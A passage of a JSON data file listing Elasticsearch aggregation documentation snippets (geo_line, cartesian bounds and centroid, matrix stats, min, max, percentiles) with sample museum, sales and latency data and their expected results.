\"lat\": 52.39296147599816,\n \"lon\": 4.967404240742326\n },\n \"count\": 2\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geoline-aggregation.asciidoc","line":13},"digest":"487f0e07fd83c05f9763e0795c525e2e","lang":"console","found":["ruby"],"source":"PUT test\n{\n \"mappings\": {\n \"properties\": {\n \"my_location\": { \"type\": \"geo_point\" },\n \"group\": { \"type\": \"keyword\" },\n \"@timestamp\": { \"type\": \"date\" }\n }\n }\n}\n\nPOST /test/_bulk?refresh\n{\"index\":{}}\n{\"my_location\": {\"lat\":52.373184, \"lon\":4.889187}, \"@timestamp\": \"2023-01-02T09:00:00Z\"}\n{\"index\":{}}\n{\"my_location\": {\"lat\":52.370159, \"lon\":4.885057}, \"@timestamp\": \"2023-01-02T10:00:00Z\"}\n{\"index\":{}}\n{\"my_location\": {\"lat\":52.369219, \"lon\":4.901618}, \"@timestamp\": \"2023-01-02T13:00:00Z\"}\n{\"index\":{}}\n{\"my_location\": {\"lat\":52.374081, \"lon\":4.912350}, \"@timestamp\": \"2023-01-02T16:00:00Z\"}\n{\"index\":{}}\n{\"my_location\": {\"lat\":52.371667, \"lon\":4.914722}, \"@timestamp\": \"2023-01-03T12:00:00Z\"}\n\nPOST /test/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"line\": {\n \"geo_line\": {\n \"point\": {\"field\": \"my_location\"},\n \"sort\": {\"field\": \"@timestamp\"}\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geoline-aggregation.asciidoc","line":159},"digest":"89dee10a24ea2727af5b00039a4271bd","lang":"console","found":["ruby"],"source":"PUT tour\n{\n \"mappings\": {\n \"properties\": {\n \"city\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"category\": { \"type\": \"keyword\" },\n \"route\": { \"type\": \"long\" },\n \"name\": { \"type\": \"keyword\" },\n \"location\": { \"type\": \"geo_point\" },\n \"@timestamp\": { \"type\": \"date\" }\n }\n },\n \"settings\": {\n \"index\": {\n \"mode\": \"time_series\",\n \"routing_path\": [ \"city\" ],\n \"time_series\": {\n \"start_time\": \"2023-01-01T00:00:00Z\",\n \"end_time\": \"2024-01-01T00:00:00Z\"\n }\n }\n }\n}\n\nPOST /tour/_bulk?refresh\n{\"index\":{}}\n{\"@timestamp\": \"2023-01-02T09:00:00Z\", \"route\": 0, \"location\": \"POINT(4.889187 52.373184)\", \"city\": \"Amsterdam\", \"category\": \"Attraction\", \"name\": \"Royal Palace Amsterdam\"}\n{\"index\":{}}\n{\"@timestamp\": \"2023-01-02T10:00:00Z\", \"route\": 1, \"location\": \"POINT(4.885057 52.370159)\", \"city\": \"Amsterdam\", \"category\": \"Attraction\", \"name\": \"The Amsterdam Dungeon\"}\n{\"index\":{}}\n{\"@timestamp\": \"2023-01-02T13:00:00Z\", \"route\": 2, \"location\": \"POINT(4.901618 52.369219)\", \"city\": \"Amsterdam\", \"category\": \"Museum\", \"name\": \"Museum Het Rembrandthuis\"}\n{\"index\":{}}\n{\"@timestamp\": \"2023-01-02T16:00:00Z\", \"route\": 3, \"location\": \"POINT(4.912350 52.374081)\", \"city\": \"Amsterdam\", \"category\": \"Museum\", \"name\": \"NEMO Science Museum\"}\n{\"index\":{}}\n{\"@timestamp\": \"2023-01-03T12:00:00Z\", \"route\": 4, \"location\": \"POINT(4.914722 52.371667)\", \"city\": \"Amsterdam\", \"category\": \"Museum\", \"name\": \"Nederlands Scheepvaartmuseum\"}\n{\"index\":{}}\n{\"@timestamp\": \"2023-01-04T09:00:00Z\", \"route\": 5, \"location\": \"POINT(4.401384 51.220292)\", \"city\": \"Antwerp\", \"category\": \"Attraction\", \"name\": \"Cathedral of Our Lady\"}\n{\"index\":{}}\n{\"@timestamp\": \"2023-01-04T12:00:00Z\", \"route\": 6, \"location\": \"POINT(4.405819 51.221758)\", \"city\": \"Antwerp\", \"category\": \"Museum\", \"name\": \"Snijders&Rockoxhuis\"}\n{\"index\":{}}\n{\"@timestamp\": \"2023-01-04T15:00:00Z\", \"route\": 7, \"location\": \"POINT(4.405200 51.222900)\", \"city\": \"Antwerp\", \"category\": \"Museum\", \"name\": \"Letterenhuis\"}\n{\"index\":{}}\n{\"@timestamp\": \"2023-01-05T10:00:00Z\", \"route\": 8, \"location\": \"POINT(2.336389 48.861111)\", \"city\": \"Paris\", \"category\": \"Museum\", \"name\": \"Musée du Louvre\"}\n{\"index\":{}}\n{\"@timestamp\": \"2023-01-05T14:00:00Z\", \"route\": 9, \"location\": \"POINT(2.327000 48.860000)\", \"city\": \"Paris\", \"category\": \"Museum\", \"name\": \"Musée dOrsay\"}"}, {"source_location":{"file":"aggregations/metrics/geoline-aggregation.asciidoc","line":218},"digest":"d7348119df9f89a556a7b767d5298c7e","lang":"console","found":[],"source":"POST /tour/_search?filter_path=aggregations\n{\n \"aggregations\": {\n \"path\": {\n \"terms\": {\"field\": \"city\"},\n \"aggregations\": {\n \"museum_tour\": {\n \"geo_line\": {\n \"point\": {\"field\": \"location\"},\n \"sort\": {\"field\": \"@timestamp\"}\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/geoline-aggregation.asciidoc","line":318},"digest":"fa5dcd1c7fadc473a791daf0d7ceec36","lang":"console","found":[],"source":"POST /tour/_search?filter_path=aggregations\n{\n \"aggregations\": {\n \"path\": {\n \"time_series\": {},\n \"aggregations\": {\n \"museum_tour\": {\n \"geo_line\": {\n \"point\": {\"field\": \"location\"}\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cartesian-bounds-aggregation.asciidoc","line":12},"digest":"d0fad375f6e074e9067ed93d3faa07bd","lang":"console","found":["ruby"],"source":"PUT /museums\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"point\"\n }\n }\n }\n}\n\nPOST /museums/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"location\": \"POINT (491.2350 5237.4081)\", \"city\": \"Amsterdam\", \"name\": \"NEMO Science Museum\"}\n{\"index\":{\"_id\":2}}\n{\"location\": \"POINT (490.1618 5236.9219)\", \"city\": \"Amsterdam\", \"name\": \"Museum Het Rembrandthuis\"}\n{\"index\":{\"_id\":3}}\n{\"location\": \"POINT (491.4722 5237.1667)\", \"city\": \"Amsterdam\", \"name\": \"Nederlands Scheepvaartmuseum\"}\n{\"index\":{\"_id\":4}}\n{\"location\": \"POINT (440.5200 5122.2900)\", \"city\": \"Antwerp\", \"name\": \"Letterenhuis\"}\n{\"index\":{\"_id\":5}}\n{\"location\": \"POINT (233.6389 4886.1111)\", \"city\": \"Paris\", \"name\": \"Musée du Louvre\"}\n{\"index\":{\"_id\":6}}\n{\"location\": \"POINT (232.7000 4886.0000)\", \"city\": \"Paris\", \"name\": \"Musée d'Orsay\"}\n\nPOST /museums/_search?size=0\n{\n \"query\": {\n \"match\": { \"name\": \"musée\" }\n },\n \"aggs\": {\n \"viewport\": {\n \"cartesian_bounds\": {\n \"field\": \"location\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cartesian-bounds-aggregation.asciidoc","line":66},"digest":"83bbf1d7b48327977c3333b97870c821","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"viewport\": {\n \"bounds\": {\n \"top_left\": {\n \"x\": 232.6999969482422,\n \"y\": 4886.111328125\n },\n \"bottom_right\": {\n \"x\": 233.63890075683594,\n \"y\": 4886.0\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cartesian-bounds-aggregation.asciidoc","line":97},"digest":"b717a583b5165e5c6caafc42fdfd9086","lang":"console","found":["ruby"],"source":"PUT /places\n{\n \"mappings\": {\n \"properties\": {\n \"geometry\": {\n \"type\": \"shape\"\n }\n }\n }\n}\n\nPOST /places/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"name\": \"NEMO Science Museum\", \"geometry\": \"POINT(491.2350 5237.4081)\" }\n{\"index\":{\"_id\":2}}\n{\"name\": \"Sportpark De Weeren\", \"geometry\": { \"type\": \"Polygon\", \"coordinates\": [ [ [ 496.5305328369141, 5239.347642069457 ], [ 496.6979026794433, 5239.1721758934835 ], [ 496.9425201416015, 5239.238958618537 ], [ 496.7944622039794, 5239.420969150824 ], [ 496.5305328369141, 5239.347642069457 ] ] ] } }\n\nPOST /places/_search?size=0\n{\n \"aggs\": {\n \"viewport\": {\n \"cartesian_bounds\": {\n \"field\": \"geometry\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cartesian-bounds-aggregation.asciidoc","line":129},"digest":"d73c1296e067e24ad4deddbc222db4af","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"viewport\": {\n \"bounds\": {\n \"top_left\": {\n \"x\": 491.2349853515625,\n \"y\": 5239.4208984375\n },\n \"bottom_right\": {\n \"x\": 496.9425048828125,\n \"y\": 5237.408203125\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cartesian-centroid-aggregation.asciidoc","line":13},"digest":"9f0a0029982d9b3423a2a3de1f1b5136","lang":"console","found":["ruby"],"source":"PUT /museums\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"point\"\n }\n }\n }\n}\n\nPOST /museums/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"location\": \"POINT (491.2350 5237.4081)\", \"city\": \"Amsterdam\", \"name\": \"NEMO Science Museum\"}\n{\"index\":{\"_id\":2}}\n{\"location\": \"POINT (490.1618 5236.9219)\", \"city\": \"Amsterdam\", \"name\": \"Museum Het Rembrandthuis\"}\n{\"index\":{\"_id\":3}}\n{\"location\": \"POINT (491.4722 5237.1667)\", \"city\": \"Amsterdam\", \"name\": \"Nederlands Scheepvaartmuseum\"}\n{\"index\":{\"_id\":4}}\n{\"location\": \"POINT (440.5200 5122.2900)\", \"city\": \"Antwerp\", \"name\": \"Letterenhuis\"}\n{\"index\":{\"_id\":5}}\n{\"location\": \"POINT (233.6389 4886.1111)\", \"city\": \"Paris\", \"name\": \"Musée du Louvre\"}\n{\"index\":{\"_id\":6}}\n{\"location\": \"POINT (232.7000 4886.0000)\", \"city\": \"Paris\", \"name\": \"Musée d'Orsay\"}\n\nPOST /museums/_search?size=0\n{\n \"aggs\": {\n \"centroid\": {\n \"cartesian_centroid\": {\n \"field\": \"location\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cartesian-centroid-aggregation.asciidoc","line":58},"digest":"77f673af9dc4a03b5a3749e38c7879d7","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"centroid\": {\n \"location\": {\n \"x\": 396.6213124593099,\n \"y\": 5100.982991536458\n },\n \"count\": 6\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cartesian-centroid-aggregation.asciidoc","line":79},"digest":"b968853454b4416f7baa3209eb335957","lang":"console","found":[],"source":"POST /museums/_search?size=0\n{\n \"aggs\": {\n \"cities\": {\n \"terms\": { \"field\": \"city.keyword\" },\n \"aggs\": {\n \"centroid\": {\n \"cartesian_centroid\": { \"field\": \"location\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cartesian-centroid-aggregation.asciidoc","line":102},"digest":"a4dd07db186ce056009580b99c54b65c","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"cities\": {\n \"sum_other_doc_count\": 0,\n \"doc_count_error_upper_bound\": 0,\n \"buckets\": [\n {\n \"key\": \"Amsterdam\",\n \"doc_count\": 3,\n \"centroid\": {\n \"location\": {\n \"x\": 490.9563293457031,\n \"y\": 5237.16552734375\n },\n \"count\": 3\n }\n },\n {\n \"key\": \"Paris\",\n \"doc_count\": 2,\n \"centroid\": {\n \"location\": {\n \"x\": 233.16944885253906,\n \"y\": 4886.0556640625\n },\n \"count\": 2\n }\n },\n {\n \"key\": \"Antwerp\",\n \"doc_count\": 1,\n \"centroid\": {\n \"location\": {\n \"x\": 440.5199890136719,\n \"y\": 5122.2900390625\n },\n \"count\": 1\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cartesian-centroid-aggregation.asciidoc","line":183},"digest":"19174d872fd1e43cbfb7a96a33d13c96","lang":"console","found":["ruby"],"source":"PUT /places\n{\n \"mappings\": {\n \"properties\": {\n \"geometry\": {\n \"type\": \"shape\"\n }\n }\n }\n}\n\nPOST /places/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"name\": \"NEMO Science Museum\", \"geometry\": \"POINT(491.2350 5237.4081)\" }\n{\"index\":{\"_id\":2}}\n{\"name\": \"Sportpark De Weeren\", \"geometry\": { \"type\": \"Polygon\", \"coordinates\": [ [ [ 496.5305328369141, 5239.347642069457 ], [ 496.6979026794433, 5239.1721758934835 ], [ 496.9425201416015, 5239.238958618537 ], [ 496.7944622039794, 5239.420969150824 ], [ 496.5305328369141, 5239.347642069457 ] ] ] } }\n\nPOST /places/_search?size=0\n{\n \"aggs\": {\n \"centroid\": {\n \"cartesian_centroid\": {\n \"field\": \"geometry\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/cartesian-centroid-aggregation.asciidoc","line":215},"digest":"858b52dd660f9b498847ce94e94a5cc0","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"centroid\": {\n \"location\": {\n \"x\": 496.74041748046875,\n \"y\": 5239.29638671875\n },\n \"count\": 2\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/matrix-stats-aggregation.asciidoc","line":45},"digest":"e441cb3be3c2f007621ee1f8c9a2e0ef","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"aggs\": {\n \"statistics\": {\n \"matrix_stats\": {\n \"fields\": [ \"poverty\", \"income\" ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/matrix-stats-aggregation.asciidoc","line":63},"digest":"034067dd40d5cfa9c0e8f359297e7b5a","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"statistics\": {\n \"doc_count\": 50,\n \"fields\": [ {\n \"name\": \"income\",\n \"count\": 50,\n \"mean\": 51985.1,\n \"variance\": 7.383377037755103E7,\n \"skewness\": 0.5595114003506483,\n \"kurtosis\": 2.5692365287787124,\n \"covariance\": {\n \"income\": 7.383377037755103E7,\n \"poverty\": -21093.65836734694\n },\n \"correlation\": {\n \"income\": 1.0,\n \"poverty\": -0.8352655256272504\n }\n }, {\n \"name\": \"poverty\",\n \"count\": 50,\n \"mean\": 12.732000000000001,\n \"variance\": 8.637730612244896,\n \"skewness\": 0.4516049811903419,\n \"kurtosis\": 2.8615929677997767,\n \"covariance\": {\n \"income\": -21093.65836734694,\n \"poverty\": 8.637730612244896\n },\n \"correlation\": {\n \"income\": -0.8352655256272504,\n \"poverty\": 1.0\n }\n } ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/matrix-stats-aggregation.asciidoc","line":128},"digest":"2aec92bc31bc24bce58d983738f9e0fe","lang":"console","found":[],"source":"GET /_search\n{\n \"aggs\": {\n \"matrixstats\": {\n \"matrix_stats\": {\n \"fields\": [ \"poverty\", \"income\" ],\n \"missing\": { \"income\": 50000 } <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/max-aggregation.asciidoc","line":17},"digest":"8e42a17edace2bc6e42c6a1532779937","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"max_price\": { \"max\": { \"field\": \"price\" } }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/max-aggregation.asciidoc","line":30},"digest":"7b9352d63010d25f9571f4588f7c2a26","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"max_price\": {\n \"value\": 200.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/max-aggregation.asciidoc","line":52},"digest":"d70f55cd29cdb2dcd775ffa9e23ff393","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"price.adjusted\": {\n \"type\": \"double\",\n \"script\": \"\"\"\n double price = doc['price'].value;\n if (doc['promoted'].value) {\n price *= 0.8;\n }\n emit(price);\n \"\"\"\n }\n },\n \"aggs\": {\n \"max_price\": {\n \"max\": { \"field\": \"price.adjusted\" }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/max-aggregation.asciidoc","line":99},"digest":"11c43c4aa5435f8a99dcc0d1f03c648f","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"aggs\" : {\n \"grade_max\" : {\n \"max\" : {\n \"field\" : \"grade\",\n \"missing\": 10 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/max-aggregation.asciidoc","line":126},"digest":"6856f7c6a732ab55ca71c1ee2ec2bbad","lang":"console","found":["ruby"],"source":"PUT metrics_index\n{\n \"mappings\": {\n \"properties\": {\n \"latency_histo\": { \"type\": \"histogram\" }\n }\n }\n}\n\nPUT metrics_index/_doc/1?refresh\n{\n \"network.name\" : \"net-1\",\n \"latency_histo\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5],\n \"counts\" : [3, 7, 23, 12, 6]\n }\n}\n\nPUT metrics_index/_doc/2?refresh\n{\n \"network.name\" : \"net-2\",\n \"latency_histo\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5],\n \"counts\" : [8, 17, 8, 7, 6]\n }\n}\n\nPOST /metrics_index/_search?size=0&filter_path=aggregations\n{\n \"aggs\" : {\n \"max_latency\" : { \"max\" : { \"field\" : \"latency_histo\" } }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/max-aggregation.asciidoc","line":165},"digest":"dea6ca729490250bb8f32c7726d02b18","lang":"console-result","found":[],"source":"{\n \"aggregations\": {\n \"max_latency\": {\n \"value\": 0.5\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/median-absolute-deviation-aggregation.asciidoc","line":31},"digest":"25ed47fcb890fcf8d8518ae067362d18","lang":"console","found":["ruby"],"source":"GET reviews/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"review_average\": {\n \"avg\": {\n \"field\": \"rating\"\n }\n },\n \"review_variability\": {\n \"median_absolute_deviation\": {\n \"field\": \"rating\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/median-absolute-deviation-aggregation.asciidoc","line":57},"digest":"9fce71dbeb1f002696732ec60ccd2e6e","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"review_average\": {\n \"value\": 3.0\n },\n \"review_variability\": {\n \"value\": 2.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/median-absolute-deviation-aggregation.asciidoc","line":90},"digest":"9d662fc9f943c287b7144f5e4e2ae358","lang":"console","found":["ruby"],"source":"GET reviews/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"review_variability\": {\n \"median_absolute_deviation\": {\n \"field\": \"rating\",\n \"compression\": 100\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/median-absolute-deviation-aggregation.asciidoc","line":116},"digest":"21d0ab6e420bfe7a1639db6af5b2e9c0","lang":"console","found":["ruby"],"source":"GET reviews/_search?filter_path=aggregations\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"rating.out_of_ten\": {\n \"type\": \"long\",\n \"script\": {\n \"source\": \"emit(doc['rating'].value * params.scaleFactor)\",\n \"params\": {\n \"scaleFactor\": 2\n }\n }\n }\n },\n \"aggs\": {\n \"review_average\": {\n \"avg\": {\n \"field\": \"rating.out_of_ten\"\n }\n },\n \"review_variability\": {\n \"median_absolute_deviation\": {\n \"field\": \"rating.out_of_ten\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/median-absolute-deviation-aggregation.asciidoc","line":150},"digest":"f79ff8306496ee373e0c5ec8c909a014","lang":"console-result","found":[],"source":"{\n \"aggregations\": {\n \"review_average\": {\n \"value\": 6.0\n },\n \"review_variability\": {\n \"value\": 4.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/median-absolute-deviation-aggregation.asciidoc","line":173},"digest":"87f854393d715aabf4d45e90a8eb74ce","lang":"console","found":["ruby"],"source":"GET reviews/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"review_variability\": {\n \"median_absolute_deviation\": {\n \"field\": \"rating\",\n \"missing\": 5\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/min-aggregation.asciidoc","line":17},"digest":"67967388db610dcb9d24fb59ede348d8","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"min_price\": { \"min\": { \"field\": \"price\" } }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/min-aggregation.asciidoc","line":30},"digest":"90d4925ad297ce930133a7e1e7f80f0a","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"min_price\": {\n \"value\": 10.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/min-aggregation.asciidoc","line":53},"digest":"8f0c5c81cdb902c136db821947ee70a1","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"price.adjusted\": {\n \"type\": \"double\",\n \"script\": \"\"\"\n double price = doc['price'].value;\n if (doc['promoted'].value) {\n price *= 0.8;\n }\n emit(price);\n \"\"\"\n }\n },\n \"aggs\": {\n \"min_price\": {\n \"min\": { \"field\": \"price.adjusted\" }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/min-aggregation.asciidoc","line":99},"digest":"35eef1765e9a5991d77592a0c7490fe0","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"aggs\": {\n \"grade_min\": {\n \"min\": {\n \"field\": \"grade\",\n \"missing\": 10 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/min-aggregation.asciidoc","line":126},"digest":"d05b2a37106fce0ebbd41e2fd6bd26c2","lang":"console","found":["ruby"],"source":"PUT metrics_index\n{\n \"mappings\": {\n \"properties\": {\n \"latency_histo\": { \"type\": \"histogram\" }\n }\n }\n}\n\nPUT metrics_index/_doc/1?refresh\n{\n \"network.name\" : \"net-1\",\n \"latency_histo\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5],\n \"counts\" : [3, 7, 23, 12, 6]\n }\n}\n\nPUT metrics_index/_doc/2?refresh\n{\n \"network.name\" : \"net-2\",\n \"latency_histo\" : {\n \"values\" : [0.1, 0.2, 0.3, 0.4, 0.5],\n \"counts\" : [8, 17, 8, 7, 6]\n }\n}\n\nPOST /metrics_index/_search?size=0&filter_path=aggregations\n{\n \"aggs\" : {\n \"min_latency\" : { \"min\" : { \"field\" : \"latency_histo\" } }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/min-aggregation.asciidoc","line":165},"digest":"a12c3fc31e242146eb90cc98c97fb4cc","lang":"console-result","found":[],"source":"{\n \"aggregations\": {\n \"min_latency\": {\n \"value\": 0.1\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-rank-aggregation.asciidoc","line":29},"digest":"47fde7874e15a37242993fd69c62063b","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_ranks\": {\n \"percentile_ranks\": {\n \"field\": \"load_time\", <1>\n \"values\": [ 500, 600 ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-rank-aggregation.asciidoc","line":50},"digest":"3e9e79b53c55ae367916c115ad8521d9","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"load_time_ranks\": {\n \"values\": {\n \"500.0\": 55.0,\n \"600.0\": 64.0\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-rank-aggregation.asciidoc","line":76},"digest":"a5ebcd70c34d1ece77a4fb27cc050917","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_ranks\": {\n \"percentile_ranks\": {\n \"field\": \"load_time\",\n \"values\": [ 500, 600 ],\n \"keyed\": false\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-rank-aggregation.asciidoc","line":96},"digest":"27cb7d54b54e11d39cb3b90dec5248c9","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"load_time_ranks\": {\n \"values\": [\n {\n \"key\": 500.0,\n \"value\": 55.0\n },\n {\n \"key\": 600.0,\n \"value\": 64.0\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-rank-aggregation.asciidoc","line":128},"digest":"8d421c5bec38eecce4679b219cacc9db","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"load_time.seconds\": {\n \"type\": \"long\",\n \"script\": {\n \"source\": \"emit(doc['load_time'].value / params.timeUnit)\",\n \"params\": {\n \"timeUnit\": 1000\n }\n }\n }\n },\n \"aggs\": {\n \"load_time_ranks\": {\n \"percentile_ranks\": {\n \"values\": [ 500, 600 ],\n \"field\": \"load_time.seconds\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-rank-aggregation.asciidoc","line":184},"digest":"32af23a4b0fea6c81c4688ce5fe4ac35","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_ranks\": {\n \"percentile_ranks\": {\n \"field\": \"load_time\",\n \"values\": [ 500, 600 ],\n \"hdr\": { <1>\n \"number_of_significant_value_digits\": 3 <2>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-rank-aggregation.asciidoc","line":216},"digest":"67a1f31cf60773a2378c2c30723c4b96","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_ranks\": {\n \"percentile_ranks\": {\n \"field\": \"load_time\",\n \"values\": [ 500, 600 ],\n \"missing\": 10 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-aggregation.asciidoc","line":30},"digest":"5ffe6fd303400e8678fa1ead291e237f","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_outlier\": {\n \"percentiles\": {\n \"field\": \"load_time\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-aggregation.asciidoc","line":50},"digest":"878eb691bfdb83c5be1d214792c93b7c","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"load_time_outlier\": {\n \"values\": {\n \"1.0\": 10.0,\n \"5.0\": 30.0,\n \"25.0\": 170.0,\n \"50.0\": 445.0,\n \"75.0\": 720.0,\n \"95.0\": 940.0,\n \"99.0\": 980.0\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-aggregation.asciidoc","line":88},"digest":"2185c9dfc62a59313df1702ec1c3513e","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_outlier\": {\n \"percentiles\": {\n \"field\": \"load_time\",\n \"percents\": [ 95, 99, 99.9 ] <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-aggregation.asciidoc","line":110},"digest":"271fe0b452b62189505ce4a1d6f8bde1","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_outlier\": {\n \"percentiles\": {\n \"field\": \"load_time\",\n \"keyed\": false\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-aggregation.asciidoc","line":129},"digest":"c4839849e215cd4fa9a8d98a7e83f4be","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"load_time_outlier\": {\n \"values\": [\n {\n \"key\": 1.0,\n \"value\": 10.0\n },\n {\n \"key\": 5.0,\n \"value\": 30.0\n },\n {\n \"key\": 25.0,\n \"value\": 170.0\n },\n {\n \"key\": 50.0,\n \"value\": 445.0\n },\n {\n \"key\": 75.0,\n \"value\": 720.0\n },\n {\n \"key\": 95.0,\n \"value\": 940.0\n },\n {\n \"key\": 99.0,\n \"value\": 980.0\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-aggregation.asciidoc","line":185},"digest":"55838e0b21c4f4da2dc8aaec045a6d5f","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"runtime_mappings\": {\n \"load_time.seconds\": {\n \"type\": \"long\",\n \"script\": {\n \"source\": \"emit(doc['load_time'].value / params.timeUnit)\",\n \"params\": {\n \"timeUnit\": 1000\n }\n }\n }\n },\n \"aggs\": {\n \"load_time_outlier\": {\n \"percentiles\": {\n \"field\": \"load_time.seconds\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-aggregation.asciidoc","line":288},"digest":"be5d62e7c8f63687c585305fbe70d7d0","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_outlier\": {\n \"percentiles\": {\n \"field\": \"load_time\",\n \"tdigest\": {\n \"compression\": 200 <1>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-aggregation.asciidoc","line":335},"digest":"1e94a2bb95bc245bcfb87ac7d611cf49","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"load_time_outlier\": {\n \"percentiles\": {\n \"field\": \"load_time\",\n \"tdigest\": {\n \"execution_hint\": \"high_accuracy\" <1>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/metrics/percentile-aggregation.asciidoc","line":370},"digest":"dae57cf7df18adb4dc64426eb159733a","lang":"console","found":["ruby"],"source":"GET latency/_search\n{\n \"size\": 0,\n \"aggs\": 